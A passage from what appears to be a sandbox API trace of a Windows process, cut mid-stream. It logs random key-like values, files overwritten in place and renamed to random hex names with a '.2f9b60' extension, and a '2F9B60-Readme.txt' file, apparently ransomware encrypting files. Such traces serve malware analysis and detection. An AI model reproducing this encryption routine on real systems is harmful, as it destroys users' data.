0x55b23f79 [0117.969] RtlRandomEx (in: Seed=0x3c4dfab0 | out: Seed=0x3c4dfab0) returned 0x2e00c13b [0117.969] RtlRandomEx (in: Seed=0x3c4dfab0 | out: Seed=0x3c4dfab0) returned 0x2f694956 [0117.969] RtlRandomEx (in: Seed=0x3c4dfab0 | out: Seed=0x3c4dfab0) returned 0x7309faf9 [0117.970] RtlRandomEx (in: Seed=0x3c4dfab0 | out: Seed=0x3c4dfab0) returned 0x6ba53b0 [0117.970] RtlRandomEx (in: Seed=0x3c4dfab0 | out: Seed=0x3c4dfab0) returned 0x7fbf364f [0117.970] RtlRandomEx (in: Seed=0x3c4dfab0 | out: Seed=0x3c4dfab0) returned 0x5cced6a1 [0117.970] RtlRandomEx (in: Seed=0x3c4dfab0 | out: Seed=0x3c4dfab0) returned 0x678631c3 [0117.970] RtlRandomEx (in: Seed=0x3c4dfab0 | out: Seed=0x3c4dfab0) returned 0x35621dc9 [0117.970] RtlRandomEx (in: Seed=0x3c4dfab0 | out: Seed=0x3c4dfab0) returned 0x678ac428 [0117.970] RtlRandomEx (in: Seed=0x3c4dfab0 | out: Seed=0x3c4dfab0) returned 0x5f909f93 [0117.970] RtlRandomEx (in: Seed=0x3c4dfab0 | out: Seed=0x3c4dfab0) returned 0x3d08c571 [0117.970] RtlRandomEx (in: Seed=0x3c4dfab0 | out: Seed=0x3c4dfab0) returned 0x3677be3a [0117.970] RtlRandomEx (in: Seed=0x3c4dfab0 | out: Seed=0x3c4dfab0) returned 0x73048c72 [0117.970] RtlRandomEx (in: Seed=0x3c4dfab0 | out: Seed=0x3c4dfab0) returned 0x7a9d8f39 [0117.970] RtlRandomEx (in: Seed=0x3c4dfab0 | out: Seed=0x3c4dfab0) returned 0xd2e1081 [0117.970] RtlRandomEx (in: Seed=0x3c4dfab0 | out: Seed=0x3c4dfab0) returned 0x245d71a8 [0117.970] RtlRandomEx (in: Seed=0x3c4dfab0 | out: Seed=0x3c4dfab0) returned 0x4035b67a [0117.970] RtlRandomEx (in: Seed=0x3c4dfab0 | out: Seed=0x3c4dfab0) returned 0x12c2d6b0 [0117.970] RtlRandomEx (in: Seed=0x3c4dfab0 | out: Seed=0x3c4dfab0) returned 0x4e1ab41b [0117.970] RtlRandomEx (in: Seed=0x3c4dfab0 | out: Seed=0x3c4dfab0) returned 0x2fea2bad [0117.970] RtlRandomEx (in: Seed=0x3c4dfab0 | out: Seed=0x3c4dfab0) returned 0x87c4031 [0117.970] RtlRandomEx (in: Seed=0x3c4dfab0 | out: Seed=0x3c4dfab0) returned 0x6971006b [0117.970] RtlRandomEx (in: Seed=0x3c4dfab0 | out: Seed=0x3c4dfab0) returned 0x52b42b42 [0117.970] RtlRandomEx (in: Seed=0x3c4dfab0 | out: Seed=0x3c4dfab0) returned 0x3d3ebd55 [0117.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa920 [0117.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e3f0 [0117.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa8f0 [0117.979] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e3f0) returned 1 [0117.979] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa950) returned 1 [0117.979] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa9b0) returned 1 [0117.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bcc0 [0117.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e3f0 [0117.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa9b0 [0117.979] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa9b0) returned 1 [0117.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fc0d80 [0117.980] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fb5950 [0117.980] ReadFile (in: hFile=0x17a0, lpBuffer=0x41fc0d80, nNumberOfBytesToRead=0x1da, lpNumberOfBytesRead=0x3c4dfab0, lpOverlapped=0x0 | out: lpBuffer=0x41fc0d80*, lpNumberOfBytesRead=0x3c4dfab0*=0x1da, lpOverlapped=0x0) returned 1 [0117.980] SetFilePointerEx (in: hFile=0x17a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.980] WriteFile (in: hFile=0x17a0, lpBuffer=0x41fb5950*, nNumberOfBytesToWrite=0x1da, lpNumberOfBytesWritten=0x3c4dfab4, lpOverlapped=0x0 | out: lpBuffer=0x41fb5950*, lpNumberOfBytesWritten=0x3c4dfab4*=0x1da, lpOverlapped=0x0) returned 1 [0117.983] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa9b0 [0117.983] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa950 [0117.983] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa950) returned 1 [0117.983] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fb5950) returned 1 [0117.983] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fc0d80) returned 1 [0117.983] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e3f0) returned 1 [0117.983] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 [0117.983] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202aa950 [0117.984] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bcc0 [0117.984] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e3f0 [0117.984] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa8c0 [0117.984] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa8c0) returned 1 [0117.984] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202aa8c0 [0117.984] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaaa0 [0117.984] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa890 [0117.984] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa890) returned 1 [0117.984] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e3f0) returned 1 [0117.984] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 [0117.985] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x1675e0 [0117.985] SetFilePointerEx (in: hFile=0x17a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0117.985] WriteFile (in: hFile=0x17a0, lpBuffer=0x1675e0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3c4dfbd0, lpOverlapped=0x0 | out: lpBuffer=0x1675e0*, lpNumberOfBytesWritten=0x3c4dfbd0*=0x10a, lpOverlapped=0x0) returned 1 [0118.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0118.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79daf0 [0118.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa890 [0118.035] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa890) returned 1 [0118.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0118.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa890 [0118.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa290 [0118.035] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa290) returned 1 [0118.035] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79daf0) returned 1 [0118.035] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0118.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d86c0 [0118.036] sprintf (in: _Dest=0x1b7d86c0, _Format="%c%c" | out: _Dest="51") returned 2 [0118.036] sprintf (in: _Dest=0x1b7d86c2, _Format="%c%c" | out: _Dest="be") returned 2 [0118.036] sprintf (in: _Dest=0x1b7d86c4, _Format="%c%c" | out: _Dest="e8") returned 2 [0118.036] sprintf (in: _Dest=0x1b7d86c6, _Format="%c%c" | out: _Dest="56") returned 2 [0118.036] sprintf (in: _Dest=0x1b7d86c8, _Format="%c%c" | out: _Dest="08") returned 2 [0118.036] sprintf (in: _Dest=0x1b7d86ca, _Format="%c%c" | out: _Dest="f4") returned 2 [0118.036] sprintf (in: _Dest=0x1b7d86cc, _Format="%c%c" | out: _Dest="75") returned 2 [0118.036] sprintf (in: _Dest=0x1b7d86ce, _Format="%c%c" | out: _Dest="b7") returned 2 [0118.036] sprintf (in: _Dest=0x1b7d86d0, _Format="%c%c" | out: _Dest="cf") returned 2 [0118.036] sprintf (in: _Dest=0x1b7d86d2, _Format="%c%c" | out: _Dest="1c") returned 2 [0118.036] sprintf (in: _Dest=0x1b7d86d4, _Format="%c%c" | out: _Dest="d6") returned 2 [0118.036] sprintf (in: _Dest=0x1b7d86d6, _Format="%c%c" | out: _Dest="09") returned 2 [0118.036] sprintf (in: _Dest=0x1b7d86d8, _Format="%c%c" | out: _Dest="67") returned 2 [0118.036] sprintf (in: _Dest=0x1b7d86da, _Format="%c%c" | out: _Dest="85") returned 2 [0118.036] sprintf (in: _Dest=0x1b7d86dc, _Format="%c%c" | out: _Dest="dc") returned 2 [0118.036] sprintf (in: _Dest=0x1b7d86de, _Format="%c%c" | out: _Dest="83") returned 2 [0118.036] sprintf (in: _Dest=0x1b7d86e0, _Format="%c%c" | out: _Dest="86") returned 2 [0118.036] sprintf (in: _Dest=0x1b7d86e2, _Format="%c%c" | out: _Dest="b6") returned 2 [0118.036] sprintf (in: _Dest=0x1b7d86e4, _Format="%c%c" | out: _Dest="5a") returned 2 [0118.036] sprintf (in: _Dest=0x1b7d86e6, _Format="%c%c" | out: _Dest="12") returned 2 [0118.036] sprintf (in: _Dest=0x1b7d86e8, _Format="%c%c" | out: _Dest="41") returned 2 [0118.036] sprintf (in: _Dest=0x1b7d86ea, _Format="%c%c" | out: _Dest="ec") returned 2 [0118.036] sprintf (in: _Dest=0x1b7d86ec, _Format="%c%c" | out: _Dest="6e") returned 2 [0118.037] sprintf (in: _Dest=0x1b7d86ee, _Format="%c%c" | out: _Dest="c7") returned 2 [0118.037] RtlInitAnsiString (in: DestinationString=0x3c4dfc48, SourceString="51bee85608f475b7cf1cd6096785dc8386b65a1241ec6ec7" | out: DestinationString="51bee85608f475b7cf1cd6096785dc8386b65a1241ec6ec7") [0118.037] RtlAnsiStringToUnicodeString (in: DestinationString=0x3c4dfc18, SourceString="51bee85608f475b7cf1cd6096785dc8386b65a1241ec6ec7", AllocateDestinationString=1 | out: DestinationString="51bee85608f475b7cf1cd6096785dc8386b65a1241ec6ec7") returned 0x0 [0118.037] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b786270 [0118.037] RtlFreeAnsiString (AnsiString="5") [0118.037] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d86c0) returned 1 [0118.037] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0118.037] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa890) returned 1 [0118.037] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1675e0) returned 1 [0118.037] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa8c0) returned 1 [0118.038] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aaaa0) returned 1 [0118.038] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa950) returned 1 [0118.038] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa9b0) returned 1 [0118.038] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa980) returned 1 [0118.038] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa920) returned 1 [0118.038] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa8f0) returned 1 [0118.038] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x1b7add40 [0118.038] wcscat (in: _Dest=0x1b7add40, _Source="51bee85608f4" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\51bee85608f4") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\51bee85608f4" [0118.038] wcscat (in: _Dest=0x1b7add40, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\51bee85608f4.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\51bee85608f4.2f9b60" [0118.038] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\51bee85608f4.2f9b60", NtPathName=0x3c4dfbf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Stationery\\1033\\51bee85608f4.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0118.038] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x202798b0 [0118.038] NtSetInformationFile (FileHandle=0x17a0, IoStatusBlock=0x3c4dfc90, FileInformation=0x202798b0, Length=0xaa, FileInformationClass=0xa) returned 0x0 [0118.311] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202798b0) returned 1 [0118.311] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf493f0) returned 1 [0118.311] NtQueryInformationFile (in: FileHandle=0x17a0, IoStatusBlock=0x3c4dfc58, FileInformation=0x3c4dfc68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3c4dfc58, FileInformation=0x3c4dfc68) returned 0x0 [0118.312] NtSetInformationFile (FileHandle=0x17a0, IoStatusBlock=0x3c4dfc58, FileInformation=0x3c4dfc68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0118.316] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7add40) returned 1 [0118.316] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b786270) returned 1 [0118.316] FlushFileBuffers (hFile=0x17a0) returned 1 [0118.321] CloseHandle (hObject=0x17a0) returned 1 [0118.323] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x1b7add40 [0118.323] wcscpy (in: _Dest=0x1b7add40, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0118.323] wcscat (in: _Dest=0x1b7add40, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\2F9B60-Readme.txt" [0118.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\2f9b60-readme.txt")) returned 0x20 [0118.323] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7add40) returned 1 [0118.323] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86bd30) returned 1 Thread: id = 1328 os_tid = 0x1008 [0117.846] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\09fe20fdab5e0369175e9bb4.2f9b60" (normalized: "c:\\users\\all users\\microsoft help\\09fe20fdab5e0369175e9bb4.2f9b60")) returned 0x2022 [0117.846] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\09fe20fdab5e0369175e9bb4.2f9b60", dwFileAttributes=0x20) returned 1 [0117.901] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\09fe20fdab5e0369175e9bb4.2f9b60" (normalized: "c:\\users\\all users\\microsoft help\\09fe20fdab5e0369175e9bb4.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x167c [0117.901] GetFileSizeEx (in: hFile=0x167c, lpFileSize=0x3c38fdc0 | out: lpFileSize=0x3c38fdc0*=640) returned 1 [0117.901] SetFilePointerEx (in: hFile=0x167c, liDistanceToMove=0x27c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.901] ReadFile (in: hFile=0x167c, lpBuffer=0x3c38fd40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3c38fd88, lpOverlapped=0x0 | out: lpBuffer=0x3c38fd40*, lpNumberOfBytesRead=0x3c38fd88*=0x4, lpOverlapped=0x0) returned 1 [0117.902] FlushFileBuffers (hFile=0x167c) returned 1 [0117.909] CloseHandle (hObject=0x167c) returned 1 [0117.909] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\09fe20fdab5e0369175e9bb4.2f9b60", dwFileAttributes=0x2022) returned 1 [0117.938] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85c8d0) returned 1 Thread: id = 1329 os_tid = 0x1088 [0117.848] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\21233f5aa24f8be0c8837829.2f9b60" (normalized: "c:\\users\\all users\\microsoft help\\21233f5aa24f8be0c8837829.2f9b60")) returned 0x2022 [0117.849] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\21233f5aa24f8be0c8837829.2f9b60", dwFileAttributes=0x20) returned 1 [0117.898] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\21233f5aa24f8be0c8837829.2f9b60" (normalized: "c:\\users\\all users\\microsoft help\\21233f5aa24f8be0c8837829.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1604 [0117.898] GetFileSizeEx (in: hFile=0x1604, lpFileSize=0x3c66fc80 | out: lpFileSize=0x3c66fc80*=640) returned 1 [0117.898] SetFilePointerEx (in: hFile=0x1604, liDistanceToMove=0x27c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.898] ReadFile (in: hFile=0x1604, lpBuffer=0x3c66fc00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3c66fc48, lpOverlapped=0x0 | out: lpBuffer=0x3c66fc00*, lpNumberOfBytesRead=0x3c66fc48*=0x4, lpOverlapped=0x0) returned 1 [0117.899] FlushFileBuffers (hFile=0x1604) returned 1 [0117.905] CloseHandle (hObject=0x1604) returned 1 [0117.905] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\21233f5aa24f8be0c8837829.2f9b60", dwFileAttributes=0x2022) returned 1 [0117.935] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86bdc0) returned 1 Thread: id = 1330 os_tid = 0x108c [0117.851] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\271d86.2f9b60" (normalized: "c:\\users\\all users\\microsoft help\\271d86.2f9b60")) returned 0x2022 [0117.851] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\271d86.2f9b60", dwFileAttributes=0x20) returned 1 [0117.903] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\271d86.2f9b60" (normalized: "c:\\users\\all users\\microsoft help\\271d86.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14c0 [0117.903] GetFileSizeEx (in: hFile=0x14c0, lpFileSize=0x1d3efd80 | out: lpFileSize=0x1d3efd80*=644) returned 1 [0117.903] SetFilePointerEx (in: hFile=0x14c0, liDistanceToMove=0x280, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.903] ReadFile (in: hFile=0x14c0, lpBuffer=0x1d3efd00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1d3efd48, lpOverlapped=0x0 | out: lpBuffer=0x1d3efd00*, lpNumberOfBytesRead=0x1d3efd48*=0x4, lpOverlapped=0x0) returned 1 [0117.904] FlushFileBuffers (hFile=0x14c0) returned 1 [0117.912] CloseHandle (hObject=0x14c0) returned 1 [0117.912] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\271d86.2f9b60", dwFileAttributes=0x2022) returned 1 [0117.939] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b785ef0) returned 1 Thread: id = 1331 os_tid = 0x1090 [0117.852] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\2eaa6f704be5f3701db678.2f9b60" (normalized: "c:\\users\\all users\\microsoft help\\2eaa6f704be5f3701db678.2f9b60")) returned 0x2022 [0117.853] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\2eaa6f704be5f3701db678.2f9b60", dwFileAttributes=0x20) returned 1 [0117.905] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\2eaa6f704be5f3701db678.2f9b60" (normalized: "c:\\users\\all users\\microsoft help\\2eaa6f704be5f3701db678.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1778 [0117.905] GetFileSizeEx (in: hFile=0x1778, lpFileSize=0x3c5afce0 | out: lpFileSize=0x3c5afce0*=624) returned 1 [0117.905] SetFilePointerEx (in: hFile=0x1778, liDistanceToMove=0x26c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.906] ReadFile (in: hFile=0x1778, lpBuffer=0x3c5afc60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3c5afca8, lpOverlapped=0x0 | out: lpBuffer=0x3c5afc60*, lpNumberOfBytesRead=0x3c5afca8*=0x4, lpOverlapped=0x0) returned 1 [0117.907] FlushFileBuffers (hFile=0x1778) returned 1 [0117.912] CloseHandle (hObject=0x1778) returned 1 [0117.912] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\2eaa6f704be5f3701db678.2f9b60", dwFileAttributes=0x2022) returned 1 [0117.940] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86be50) returned 1 Thread: id = 1332 os_tid = 0x1094 [0117.854] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\48f6ad28358ee5294759c.2f9b60" (normalized: "c:\\users\\all users\\microsoft help\\48f6ad28358ee5294759c.2f9b60")) returned 0x2022 [0117.855] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\48f6ad28358ee5294759c.2f9b60", dwFileAttributes=0x20) returned 1 [0117.908] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\48f6ad28358ee5294759c.2f9b60" (normalized: "c:\\users\\all users\\microsoft help\\48f6ad28358ee5294759c.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x149c [0117.908] GetFileSizeEx (in: hFile=0x149c, lpFileSize=0x3c71fc00 | out: lpFileSize=0x3c71fc00*=616) returned 1 [0117.908] SetFilePointerEx (in: hFile=0x149c, liDistanceToMove=0x264, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.908] ReadFile (in: hFile=0x149c, lpBuffer=0x3c71fb80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3c71fbc8, lpOverlapped=0x0 | out: lpBuffer=0x3c71fb80*, lpNumberOfBytesRead=0x3c71fbc8*=0x4, lpOverlapped=0x0) returned 1 [0117.909] FlushFileBuffers (hFile=0x149c) returned 1 [0117.914] CloseHandle (hObject=0x149c) returned 1 [0117.915] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\48f6ad28358ee5294759c.2f9b60", dwFileAttributes=0x2022) returned 1 [0117.942] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86bee0) returned 1 Thread: id = 1333 os_tid = 0x109c [0117.857] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\4f5334e9e5c5be90c31b5ec9746f3.2f9b60" (normalized: "c:\\users\\all users\\microsoft help\\4f5334e9e5c5be90c31b5ec9746f3.2f9b60")) returned 0x2022 [0117.857] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\4f5334e9e5c5be90c31b5ec9746f3.2f9b60", dwFileAttributes=0x20) returned 1 [0117.910] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\4f5334e9e5c5be90c31b5ec9746f3.2f9b60" (normalized: "c:\\users\\all users\\microsoft help\\4f5334e9e5c5be90c31b5ec9746f3.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1720 [0117.910] GetFileSizeEx (in: hFile=0x1720, lpFileSize=0x3c7cfd20 | out: lpFileSize=0x3c7cfd20*=680) returned 1 [0117.910] SetFilePointerEx (in: hFile=0x1720, liDistanceToMove=0x2a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.910] ReadFile (in: hFile=0x1720, lpBuffer=0x3c7cfca0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3c7cfce8, lpOverlapped=0x0 | out: lpBuffer=0x3c7cfca0*, lpNumberOfBytesRead=0x3c7cfce8*=0x4, lpOverlapped=0x0) returned 1 [0117.911] FlushFileBuffers (hFile=0x1720) returned 1 [0117.916] CloseHandle (hObject=0x1720) returned 1 [0117.916] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\4f5334e9e5c5be90c31b5ec9746f3.2f9b60", dwFileAttributes=0x2022) returned 1 [0117.943] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7add40) returned 1 Thread: id = 1334 os_tid = 0x10a0 [0117.859] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\51a819fde462bc01fb.2f9b60" (normalized: "c:\\users\\all users\\microsoft help\\51a819fde462bc01fb.2f9b60")) returned 0x2022 [0117.859] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\51a819fde462bc01fb.2f9b60", dwFileAttributes=0x20) returned 1 [0117.913] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\51a819fde462bc01fb.2f9b60" (normalized: "c:\\users\\all users\\microsoft help\\51a819fde462bc01fb.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x178c [0117.913] GetFileSizeEx (in: hFile=0x178c, lpFileSize=0x3c8df720 | out: lpFileSize=0x3c8df720*=592) returned 1 [0117.913] SetFilePointerEx (in: hFile=0x178c, liDistanceToMove=0x24c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.913] ReadFile (in: hFile=0x178c, lpBuffer=0x3c8df6a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3c8df6e8, lpOverlapped=0x0 | out: lpBuffer=0x3c8df6a0*, lpNumberOfBytesRead=0x3c8df6e8*=0x4, lpOverlapped=0x0) returned 1 [0117.914] FlushFileBuffers (hFile=0x178c) returned 1 [0117.919] CloseHandle (hObject=0x178c) returned 1 [0117.919] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\51a819fde462bc01fb.2f9b60", dwFileAttributes=0x2022) returned 1 [0117.944] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, 